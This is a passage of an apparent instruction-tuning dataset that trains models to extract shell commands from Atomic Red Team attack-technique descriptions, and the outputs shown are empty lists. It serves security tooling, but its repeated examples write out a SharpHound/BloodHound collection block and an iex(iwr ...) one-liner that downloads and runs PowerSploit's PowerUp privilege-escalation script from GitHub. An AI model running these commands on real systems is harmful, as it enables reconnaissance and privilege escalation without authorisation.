$_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    LockBit Black - Disable Privacy Settings Experience Using Registry\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,\nrun \"dir /A /Q /R\" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the\nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Displays the current system time via the Windows builtin time command: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time\nRecently observed in use in the wild during an incident involving Ursnif malware:\nhttps://github.com/The-DFIR-Report/Sigma-Rules/blob/dc72f0b557fc63347379be0a33439788256761c8/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml\nhttps://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\Microsoft\\\nMore information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.\nThe trap executes script that writes to /tmp/art-fish.txt\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Rundll32.exe loading an executable renamed as .scr using desk.cpl \nReference: \n  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)\nSIGMA rules:\n  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)\n  - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host\nUpon execution available network shares will be displayed in the powershell session\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 